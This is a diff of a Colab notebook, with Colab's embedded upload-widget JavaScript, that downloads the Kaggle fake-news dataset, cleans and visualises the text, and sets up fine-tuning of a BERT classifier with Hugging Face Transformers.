CiAgY29uc3Qgb3V0cHV0RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG91dHB1dElkKTsKICBjb25zdCBzdGVwcyA9IG91dHB1dEVsZW1lbnQuc3RlcHM7CgogIGNvbnN0IG5leHQgPSBzdGVwcy5uZXh0KG91dHB1dEVsZW1lbnQubGFzdFByb21pc2VWYWx1ZSk7CiAgcmV0dXJuIFByb21pc2UucmVzb2x2ZShuZXh0LnZhbHVlLnByb21pc2UpLnRoZW4oKHZhbHVlKSA9PiB7CiAgICAvLyBDYWNoZSB0aGUgbGFzdCBwcm9taXNlIHZhbHVlIHRvIG1ha2UgaXQgYXZhaWxhYmxlIHRvIHRoZSBuZXh0CiAgICAvLyBzdGVwIG9mIHRoZSBnZW5lcmF0b3IuCiAgICBvdXRwdXRFbGVtZW50Lmxhc3RQcm9taXNlVmFsdWUgPSB2YWx1ZTsKICAgIHJldHVybiBuZXh0LnZhbHVlLnJlc3BvbnNlOwogIH0pOwp9CgovKioKICogR2VuZXJhdG9yIGZ1bmN0aW9uIHdoaWNoIGlzIGNhbGxlZCBiZXR3ZWVuIGVhY2ggYXN5bmMgc3RlcCBvZiB0aGUgdXBsb2FkCiAqIHByb2Nlc3MuCiAqIEBwYXJhbSB7c3RyaW5nfSBpbnB1dElkIEVsZW1lbnQgSUQgb2YgdGhlIGlucHV0IGZpbGUgcGlja2VyIGVsZW1lbnQuCiAqIEBwYXJhbSB7c3RyaW5nfSBvdXRwdXRJZCBFbGVtZW50IElEIG9mIHRoZSBvdXRwdXQgZGlzcGxheS4KICogQHJldHVybiB7IUl0ZXJhYmxlPCFPYmplY3Q+fSBJdGVyYWJsZSBvZiBuZXh0IHN0ZXBzLgogKi8KZnVuY3Rpb24qIHVwbG9hZEZpbGVzU3RlcChpbnB1dElkLCBvdXRwdXRJZCkgewogIGNvbnN0IGlucHV0RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlucHV0SWQpOwogIGlucHV0RWxlbWVudC5kaXNhYmxlZCA9IGZhbHNlOwoKICBjb25zdCBvdXRwdXRFbGVtZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQob3V0cHV0SWQpOwogIG91dHB1dEVsZW1lbnQuaW5uZXJIVE1MID0gJyc7CgogIGNvbnN0IHBpY2tlZFByb21pc2UgPSBuZXcgUHJvbWlzZSgocmVzb2x2ZSkgPT4gewogICAgaW5wdXRFbGVtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIChlKSA9PiB7CiAgICAgIHJlc29sdmUoZS50YXJnZXQuZmlsZXMpOwogICAgfSk7CiAgfSk7CgogIGNvbnN0IGNhbmNlbCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2J1dHRvbicpOwogIGlucHV0RWxlbWVudC5wYXJlbnRFbGVtZW50LmFwcGVuZENoaWxkKGNhbmNlbCk7CiAgY2FuY2VsLnRleHRDb250ZW50ID0gJ0NhbmNlbCB1cGxvYWQnOwogIGNvbnN0IGNhbmNlbFByb21pc2UgPSBuZXcgUHJvbWlzZSgocmVzb2x2ZSkgPT4gewogICAgY2FuY2VsLm9uY2xpY2sgPSAoKSA9PiB7CiAgICAgIHJlc29sdmUobnVsbCk7CiAgICB9OwogIH0pOwoKICAvLyBXYWl0IGZvciB0aGUgdXNlciB0byBwaWNrIHRoZSBmaWxlcy4KICBjb25zdCBmaWxlcyA9IHlpZWxkIHsKICAgIHByb21pc2U6IFByb21pc2UucmFjZShbcGlja2VkUHJvbWlzZSwgY2FuY2VsUHJvbWlzZV0pLAogICAgcmVzcG9uc2U6IHsKICAgICAgYWN0aW9uOiAnc3RhcnRpbmcnLAogICAgfQogIH07CgogIGNhbmNlbC5yZW1vdmUoKTsKCiAgLy8gRGlzYWJsZSB0aGUgaW5wdXQgZWxlbWVudCBzaW5jZSBmdXJ0aGVyIHBpY2tzIGFyZSBub3QgYWxsb3dlZC4KICBpbnB1dEVsZW1lbnQuZGlzYWJsZWQgPSB0cnVlOwoKICBpZiAoIWZpbGVzKSB7CiAgICByZXR1cm4gewogICAgICByZXNwb25zZTogewogICAgICAgIGFjdGlvbjogJ2NvbXBsZXRlJywKICAgICAgfQogICAgfTsKICB9CgogIGZvciAoY29uc3QgZmlsZSBvZiBmaWxlcykgewogICAgY29uc3QgbGkgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdsaScpOwogICAgbGkuYXBwZW5kKHNwYW4oZmlsZS5uYW1lLCB7Zm9udFdlaWdodDogJ2JvbGQnfSkpOwogICAgbGkuYXBwZW5kKHNwYW4oCiAgICAgICAgYCgke2ZpbGUudHlwZSB8fCAnbi9hJ30pIC0gJHtmaWxlLnNpemV9IGJ5dGVzLCBgICsKICAgICAgICBgbGFzdCBtb2RpZmllZDogJHsKICAgICAgICAgICAgZmlsZS5sYXN0TW9kaWZpZWREYXRlID8gZmlsZS5sYXN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+ "headers": [
+ [
+ "content-type",
+ "application/javascript"
+ ]
+ ],
+ "ok": true,
+ "status": 200,
+ "status_text": ""
+ }
+ }
+ },
+ "id": "1ChHVpiBDvRC",
+ "outputId": "6ff918cb-ad27-4796-8618-179e1cfae152"
+ },
+ "outputs": [],
+ "source": [
+ "files.upload()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "LKmGxy7uD3mH"
+ },
+ "outputs": [],
+ "source": [
+ "!rm -rf ~/.kaggle\n",
+ "!mkdir ~/.kaggle\n",
+ "!cp kaggle.json ~/.kaggle/"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "K31gGW95D-ds"
+ },
+ "outputs": [],
+ "source": [
+ "!chmod 600 ~/.kaggle/kaggle.json"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "7tc8j0cpCs6V",
+ "outputId": "ea85a064-6d90-44e5-f973-8cc3cbd21d0b"
+ },
+ "outputs": [],
+ "source": [
+ "!kaggle competitions download -c fake-news"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "5Z1vHUnzEB1m",
+ "outputId": "6a9e8e13-9769-45d2-cb44-6e85c6a34cf1"
+ },
+ "outputs": [],
+ "source": [
+ "!unzip test.csv.zip\n",
+ "!unzip train.csv.zip"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "Ag93PTMXYHwe",
+ "outputId": "4ad0d65e-ba8e-4606-9f52-c6d25f6a1584"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install gdown"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "hLtPC6MDYOFR",
+ "outputId": "26a02548-f427-4fc2-f57f-06abb580b12f"
+ },
+ "outputs": [],
+ "source": [
+ "# download from Google Drive\n",
+ "!gdown \"https://drive.google.com/uc?id=178f_VkNxccNidap-5-uffXUW475pAuPy&confirm=t\""
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "54s0iKSTZIRW",
+ "outputId": "9a4978e8-756f-4db4-c16c-2c3fb8216621"
+ },
+ "outputs": [],
+ "source": [
+ "!unzip fake-news.zip"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "collapsed": true,
+ "id": "xSK_epCLZT2v"
+ },
+ "outputs": [],
+ "source": [
+ "### Import all library\n",
+ "import pandas as pd\n",
+ "import numpy as np\n",
+ "import matplotlib.pyplot as plt\n",
+ "import seaborn as sns"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "jlIOzQCQMidA",
+ "outputId": "0411a5c3-faa7-49af-a34e-2021bf2d09f7"
+ },
+ "outputs": [],
+ "source": [
+ "import nltk\n",
+ "nltk.download('stopwords')\n",
+ "nltk.download('wordnet')"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "WLe24P_AZT23"
+ },
+ "outputs": [],
+ "source": [
+ "# load the dataset\n",
+ "news_d = pd.read_csv(\"train.csv\")\n",
+ "submit_test = pd.read_csv(\"test.csv\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "9QyYwLcfZT26",
+ "outputId": "102a4d15-1844-43ed-c979-3d849a0fd7f1"
+ },
+ "outputs": [],
+ "source": [
+ "## Shape and colums of train dataset\n",
+ "print(\" Shape of News data :: \", news_d.shape)\n",
+ "print(\" News data columns\", news_d.columns)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 206
+ },
+ "id": "dV2tqqQflsnY",
+ "outputId": "a15e4bf7-6ca0-45f0-a29b-233407f67f94"
+ },
+ "outputs": [],
+ "source": [
+ "## by using df.head(),We can immediately familiarize ourselves with the dataset. \n",
+ "news_d.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "usijKYn4ZT2_",
+ "outputId": "d6812488-fe36-40e9-d16e-89492b851c2d"
+ },
+ "outputs": [],
+ "source": [
+ "#Text Word startistics: min.mean, max and interquartile range\n",
+ "\n",
+ "txt_length = news_d.text.str.split().str.len()\n",
+ "txt_length.describe()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "RxecYM54ZT3B",
+ "outputId": "d92adedf-0484-4cdc-d3a6-5c85189ad6df"
+ },
+ "outputs": [],
+ "source": [
+ "#Title statistics \n",
+ "\n",
+ "title_length = news_d.title.str.split().str.len()\n",
+ "title_length.describe()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 388
+ },
+ "id": "ZY-ANnATZT3F",
+ "outputId": "62e491f9-7965-43a4-9957-88689482f28a"
+ },
+ "outputs": [],
+ "source": [
+ "sns.countplot(x=\"label\", data=news_d);\n",
+ "print(\"1: Unreliable\")\n",
+ "print(\"0: Reliable\")\n",
+ "print(\"Distribution of labels:\")\n",
+ "print(news_d.label.value_counts());\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "osktMXOhusEN",
+ "outputId": "cb244f09-e520-4a6b-b853-1c0b83d51677"
+ },
+ "outputs": [],
+ "source": [
+ "print(round(news_d.label.value_counts(normalize=True),2)*100);"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "collapsed": true,
+ "id": "KfZe4hi4ZT3T"
+ },
+ "outputs": [],
+ "source": [
+ "# Constants that are used to sanitize the datasets \n",
+ "column_n = ['id', 'title', 'author', 'text', 'label']\n",
+ "remove_c = ['id','author']\n",
+ "categorical_features = []\n",
+ "target_col = ['label']\n",
+ "text_f = ['title', 'text']"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "collapsed": true,
+ "id": "oasDD7W9ZT3V"
+ },
+ "outputs": [],
+ "source": [
+ "# Clean Datasets\n",
+ "import nltk\n",
+ "from nltk.corpus import stopwords\n",
+ "import re\n",
+ "from nltk.stem.porter import PorterStemmer\n",
+ "from collections import Counter\n",
+ "\n",
+ "ps = PorterStemmer()\n",
+ "wnl = nltk.stem.WordNetLemmatizer()\n",
+ "\n",
+ "stop_words = stopwords.words('english')\n",
+ "stopwords_dict = Counter(stop_words)\n",
+ "\n",
+ "# Removed unused clumns\n",
+ "def remove_unused_c(df,column_n=remove_c):\n",
+ " df = df.drop(column_n,axis=1)\n",
+ " return df\n",
+ "\n",
+ "# Impute null values with None\n",
+ "def null_process(feature_df):\n",
+ " for col in text_f:\n",
+ " feature_df.loc[feature_df[col].isnull(), col] = \"None\"\n",
+ " return feature_df\n",
+ "\n",
+ "def clean_dataset(df):\n",
+ " # remove unused column\n",
+ " df = remove_unused_c(df)\n",
+ " #impute null values\n",
+ " df = null_process(df)\n",
+ " return df\n",
+ "\n",
+ "# Cleaning text from unused characters\n",
+ "def clean_text(text):\n",
+ " text = str(text).replace(r'http[\\w:/\\.]+', ' ') # removing urls\n",
+ " text = str(text).replace(r'[^\\.\\w\\s]', ' ') # remove everything but characters and punctuation\n",
+ " text = str(text).replace('[^a-zA-Z]', ' ')\n",
+ " text = str(text).replace(r'\\s\\s+', ' ')\n",
+ " text = text.lower().strip()\n",
+ " #text = ' '.join(text) \n",
+ " return text\n",
+ "\n",
+ "## Nltk Preprocessing include:\n",
+ "# Stop words, Stemming and Lemmetization\n",
+ "# For our project we use only Stop word removal\n",
+ "def nltk_preprocess(text):\n",
+ " text = clean_text(text)\n",
+ " wordlist = re.sub(r'[^\\w\\s]', '', text).split()\n",
+ " #text = ' '.join([word for word in wordlist if word not in stopwords_dict])\n",
+ " #text = [ps.stem(word) for word in wordlist if not word in stopwords_dict]\n",
+ " text = ' '.join([wnl.lemmatize(word) for word in wordlist if word not in stopwords_dict])\n",
+ " return text"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "VjhrcHdx4wEC"
+ },
+ "outputs": [],
+ "source": [
+ "# Perform data cleaning on train and test dataset by calling clean_dataset function\n",
+ "df = clean_dataset(news_d)\n",
+ "# apply preprocessing on text through apply method by calling the function nltk_preprocess\n",
+ "df[\"text\"] = df.text.apply(nltk_preprocess)\n",
+ "# apply preprocessing on title through apply method by calling the function nltk_preprocess\n",
+ "df[\"title\"] = df.title.apply(nltk_preprocess)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 206
+ },
+ "id": "INSy__WHZT3Y",
+ "outputId": "986ab5ec-2bd7-41a6-8edc-7c8447cd2401"
+ },
+ "outputs": [],
+ "source": [
+ "# Dataset after cleaning and preprocessing step\n",
+ "df.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 855
+ },
+ "id": "XktcLR8nZT3b",
+ "outputId": "8e2bb11d-fd93-4d14-abf4-70f27eb79f1f"
+ },
+ "outputs": [],
+ "source": [
+ "from wordcloud import WordCloud, STOPWORDS\n",
+ "import matplotlib.pyplot as plt\n",
+ "\n",
+ "# initialize the word cloud\n",
+ "wordcloud = WordCloud( background_color='black', width=800, height=600)\n",
+ "# generate the word cloud by passing the corpus\n",
+ "text_cloud = wordcloud.generate(' '.join(df['text']))\n",
+ "# plotting the word cloud\n",
+ "plt.figure(figsize=(20,30))\n",
+ "plt.imshow(text_cloud)\n",
+ "plt.axis('off')\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 855
+ },
+ "id": "vMPUtlQfZT3d",
+ "outputId": "dbd7bac6-68f7-471e-c1ae-fb905296671e"
+ },
+ "outputs": [],
+ "source": [
+ "true_n = ' '.join(df[df['label']==0]['text']) \n",
+ "wc = wordcloud.generate(true_n)\n",
+ "plt.figure(figsize=(20,30))\n",
+ "plt.imshow(wc)\n",
+ "plt.axis('off')\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 855
+ },
+ "id": "lFqg39MNZT3f",
+ "outputId": "682e9b1a-ce73-41dd-ba9e-ec8ca895281d"
+ },
+ "outputs": [],
+ "source": [
+ "fake_n = ' '.join(df[df['label']==1]['text'])\n",
+ "wc= wordcloud.generate(fake_n)\n",
+ "plt.figure(figsize=(20,30))\n",
+ "plt.imshow(wc)\n",
+ "plt.axis('off')\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "1DxgVIzkXA44"
+ },
+ "outputs": [],
+ "source": [
+ "def plot_top_ngrams(corpus, title, ylabel, xlabel=\"Number of Occurences\", n=2):\n",
+ " \"\"\"Utility function to plot top n-grams\"\"\"\n",
+ " true_b = (pd.Series(nltk.ngrams(corpus.split(), n)).value_counts())[:20]\n",
+ " true_b.sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))\n",
+ " plt.title(title)\n",
+ " plt.ylabel(ylabel)\n",
+ " plt.xlabel(xlabel)\n",
+ " plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 513
+ },
+ "id": "fYiuP4P4ZT3k",
+ "outputId": "ab9b7eba-bd5d-4e97-ba86-f5bb6f537554"
+ },
+ "outputs": [],
+ "source": [
+ "plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Bigrams', \"Bigram\", n=2)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 513
+ },
+ "id": "nv9LYUI6ZT3m",
+ "outputId": "fa2b2cc7-4dc1-4c70-cc74-2029841bc32d"
+ },
+ "outputs": [],
+ "source": [
+ "plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Bigrams', \"Bigram\", n=2)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 513
+ },
+ "id": "p_blWx4cZT3o",
+ "outputId": "2bb7b649-3898-4eaa-ed81-905b0b3d30d8"
+ },
+ "outputs": [],
+ "source": [
+ "plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Trigrams', \"Trigrams\", n=3)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 513
+ },
+ "id": "ev5s93pgZT3q",
+ "outputId": "4da176b6-18ce-4e20-b959-a2d3c2605899"
+ },
+ "outputs": [],
+ "source": [
+ "plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Trigrams', \"Trigrams\", n=3)"
+ ]
+ },
+ {
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "VYcNDP6D1W6_"
+ },
+ "source": [
+ "# Fine-tuning BERT"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "pYv1yNN-1WMb",
+ "outputId": "4507ec5e-e21f-4d00-b861-f97997c2f977"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install transformers"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "ATmM7Lx-15Rs"
+ },
+ "outputs": [],
+ "source": [
+ "import torch\n",
+ "from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available\n",
+ "from transformers import BertTokenizerFast, BertForSequenceClassification\n",
+ "from transformers import Trainer, TrainingArguments\n",
+ "import numpy as np\n",
+ "from sklearn.model_selection import train_test_split\n",
+ "\n",
+ "import random"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "6Gj4Dl2u19uV"
+ },
+ "outputs": [],
+ "source": [
+ "def set_seed(seed: int):\n",
+ " \"\"\"\n",
+ " Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if\n",
+ " installed).\n",
+ "\n",
+ " Args:\n",
+ " seed (:obj:`int`): The seed to set.\n",
+ " \"\"\"\n",
+ " random.seed(seed)\n",
+ " np.random.seed(seed)\n",
+ " if is_torch_available():\n",
+ " torch.manual_seed(seed)\n",
+ " torch.cuda.manual_seed_all(seed)\n",
+ " # ^^ safe to call this function even if cuda is not available\n",
+ " if is_tf_available():\n",
+ " import tensorflow as tf\n",
+ "\n",
+ " tf.random.set_seed(seed)\n",
+ "\n",
+ "set_seed(1)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "BBSgBl5t2G5t"
+ },
+ "outputs": [],
+ "source": [
+ "# the model we gonna train, base uncased BERT\n",
+ "# check text classification models here: https://huggingface.co/models?filter=text-classification\n",
+ "model_name = \"bert-base-uncased\"\n",
+ "# max sequence length for each document/sentence sample\n",
+ "max_length = 512"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 145,
+ "referenced_widgets": [
+ "c7220a29b2a14ccc8987044605d6f1ec",
+ "ef9d91c93fb74a4f94ad0872407a04c7",
+ "e4b3753b938140cdbac1bfff1f63ba09",
+ "25f7dde2c32c4acdb25bc24b8ca5b313",
+ "7ae0fecdd1234b71906144e81c0a6ab1",
+ "3653a74c1ca94b25a3ea52c95dfc0587",
+ "1a081da141354fa2aad25058d0aa7678",
+ "869001147458472790d4d55321a0e326",
+ "97069d80c78a474ba05ad7f03a1eec1f",
+ "c56ff4e8152d4ccc8cfa9b821c077c36",
+ "9415fcafd9fd4ccfa4ac5a2226e4f04c",
+ "ffc52c35a5554f57ad5b498b45064003",
+ "cde0784e04254b5eb49f53b92ea54588",
+ "673e98e028074102bc1441f97dd5e247",
+ "e05ef028960e4b128ba47f6b3faf1241",
+ "73c0a67491b54e59b6020385ce42cee1",
+ "d95345cb1b5a4e468c016e7bd6b11b35",
+ "ef268e43022741cba1b19b436ea9dbb3",
+ "e13376ed7fa4446cb171837957959d5f",
+ "953307be2c19462da0bf7d66db7cad9f",
+ "3a7f0faddcc442518dd3c93bc5e287a4",
+ "319d08a0e887456090afc7301f78e545",
+ "5a679ed6a9c74738a6e99d56de4402bc",
+ "e4ee7d65f85f41d7a342df1166d8d958",
+ "209e91111bf34fc3ae775f62b258511c",
+ "f3246d91c82740259cde9e18d9661da4",
+ "12c21bb187b94c42b536ffa8cc57c6c8",
+ "017ac4ceb8af464d86b3e30b3fbac283",
+ "ab199bb314f744129f62a5646cca5978",
+ "5e7b2bfb681748168ecdcc7033b1a11b",
+ "32d1817612724162bdf405d35e3b1cce",
+ "d324b99bcd51417b9b5000543c79ddd6",
+ "769ec6aa62184828bbc8d265bc7ef36b",
+ "7cb4d0092c534e819234cfc52c3b8e47",
+ "fd158d39ffa5481ea6fa6cc5b969e739",
+ "151f60cdd3f649eeab67049a35902bdb",
+ "2972cba04af24ee3b5192c272d75bcd4",
+ "ecd426dbd27a4645be1f40e1adcf19dc",
+ "6f53d5959f9a4b95852e19d874fefe6c",
+ "607f0256b8ad43e5b9b78d965d0adab6",
+ "e8693eaf31154bebab1acf28b0d9e74a",
+ "10d7ec314e47444eb28ec19a501549d7",
+ "b4f311aff8e548089aa86f3a09f6c007",
+ "dabb004515fb40e0b6fd6d997b73729d"
+ ]
+ },
+ "id": "HZsMvClx2I5u",
+ "outputId": "1af201af-182a-4f55-9872-2576be9abc32"
+ },
+ "outputs": [],
+ "source": [
+ "# load the tokenizer\n",
+ "tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "aVWQAOaTxsw_"
+ },
+ "outputs": [],
+ "source": [
+ "news_df = news_d[news_d['text'].notna()]\n",
+ "news_df = news_df[news_df[\"author\"].notna()]\n",
+ "news_df = news_df[news_df[\"title\"].notna()]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "gqvonAiG2L8I"
+ },
+ "outputs": [],
+ "source": [
+ "def prepare_data(df, test_size=0.2, include_title=True, include_author=True):\n",
+ " texts = []\n",
+ " labels = []\n",
+ " for i in range(len(df)):\n",
+ " text = df[\"text\"].iloc[i]\n",
+ " label = df[\"label\"].iloc[i]\n",
+ " if include_title:\n",
+ " text = df[\"title\"].iloc[i] + \" - \" + text\n",
+ " if include_author:\n",
+ " text = df[\"author\"].iloc[i] + \" : \" + text\n",
+ " if text and label in [0, 1]:\n",
+ " texts.append(text)\n",
+ " labels.append(label)\n",
+ " return train_test_split(texts, labels, test_size=test_size)\n",
+ "\n",
+ "train_texts, valid_texts, train_labels, valid_labels = prepare_data(news_df)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "IiLpso7fsF2B",
+ "outputId": "de863044-393a-4b57-c233-71354710550e"
+ },
+ "outputs": [],
+ "source": [
+ "print(len(train_texts), len(train_labels))\n",
+ "print(len(valid_texts), len(valid_labels))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "ti8E-RyC6SKK"
+ },
+ "outputs": [],
+ "source": [
+ "# tokenize the dataset, truncate when passed `max_length`, \n",
+ "# and pad with 0's when less than `max_length`\n",
+ "train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)\n",
+ "valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "YcyI8hLq6U9Y"
+ },
+ "outputs": [],
+ "source": [
+ "class NewsGroupsDataset(torch.utils.data.Dataset):\n",
+ " def __init__(self, encodings, labels):\n",
+ " self.encodings = encodings\n",
+ " self.labels = labels\n",
+ "\n",
+ " def __getitem__(self, idx):\n",
+ " item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}\n",
+ " item[\"labels\"] = torch.tensor([self.labels[idx]])\n",
+ " return item\n",
+ "\n",
+ " def __len__(self):\n",
+ " return len(self.labels)\n",
+ "\n",
+ "# convert our tokenized data into a torch Dataset\n",
+ "train_dataset = NewsGroupsDataset(train_encodings, train_labels)\n",
+ "valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 160,
+ "referenced_widgets": [
+ "fab1c16a83244aaebb8e7a1669b5d208",
+ "474bc31082cc4cd69a1651b16c4d825f",
+ "60995794ce7d4bd3b5922ff70f6301e6",
+ "c754de540c8a47cebf3f6e4f050b40cf",
+ "5104e72cc66d45ef9a32458907c10a4f",
+ "bd777df747a94960b326b26b4f7e4026",
+ "040058ca10954543b7bfc5738742796d",
+ "9de1f4b501a64163858ce6032aa6ee1d",
+ "cd4631285003490989c95785e253f037",
+ "981446561c774f84a56f357578e8ec9b",
+ "7460b86df5f44d89912c9dbbb04063fe"
+ ]
+ },
+ "id": "ASscw49-6YTH",
+ "outputId": "ee7cf258-174c-4138-ec7a-16d0bce9f19e"
+ },
+ "outputs": [],
+ "source": [
+ "# load the model\n",
+ "model = BertForSequenceClassification.from_pretrained(model_name, num_labels=2)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "8a22Zs9Q6dU3"
+ },
+ "outputs": [],
+ "source": [
+ "from sklearn.metrics import accuracy_score\n",
+ "\n",
+ "def compute_metrics(pred):\n",
+ " labels = pred.label_ids\n",
+ " preds = pred.predictions.argmax(-1)\n",
+ " # calculate accuracy using sklearn's function\n",
+ " acc = accuracy_score(labels, preds)\n",
+ " return {\n",
+ " 'accuracy': acc,\n",
+ " }"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "rUVrSKAY6hAG"
+ },
+ "outputs": [],
+ "source": [
+ "training_args = TrainingArguments(\n",
+ " output_dir='./results', # output directory\n",
+ " num_train_epochs=1, # total number of training epochs\n",
+ " per_device_train_batch_size=10, # batch size per device during training\n",
+ " per_device_eval_batch_size=20, # batch size for evaluation\n",
+ " warmup_steps=100, # number of warmup steps for learning rate scheduler\n",
+ " logging_dir='./logs', # directory for storing logs\n",
+ " load_best_model_at_end=True, # load the best model when finished training (default metric is loss)\n",
+ " # but you can specify `metric_for_best_model` argument to change to accuracy or other metric\n",
+ " logging_steps=200, # log & save weights each logging_steps\n",
+ " save_steps=200,\n",
+ " evaluation_strategy=\"steps\", # evaluate each `logging_steps`\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "7kkoRH1D6o4q"
+ },
+ "outputs": [],
+ "source": [
+ "trainer = Trainer(\n",
+ " model=model, # the instantiated Transformers model to be trained\n",
+ " args=training_args, # training arguments, defined above\n",
+ " train_dataset=train_dataset, # training dataset\n",
+ " eval_dataset=valid_dataset, # evaluation dataset\n",
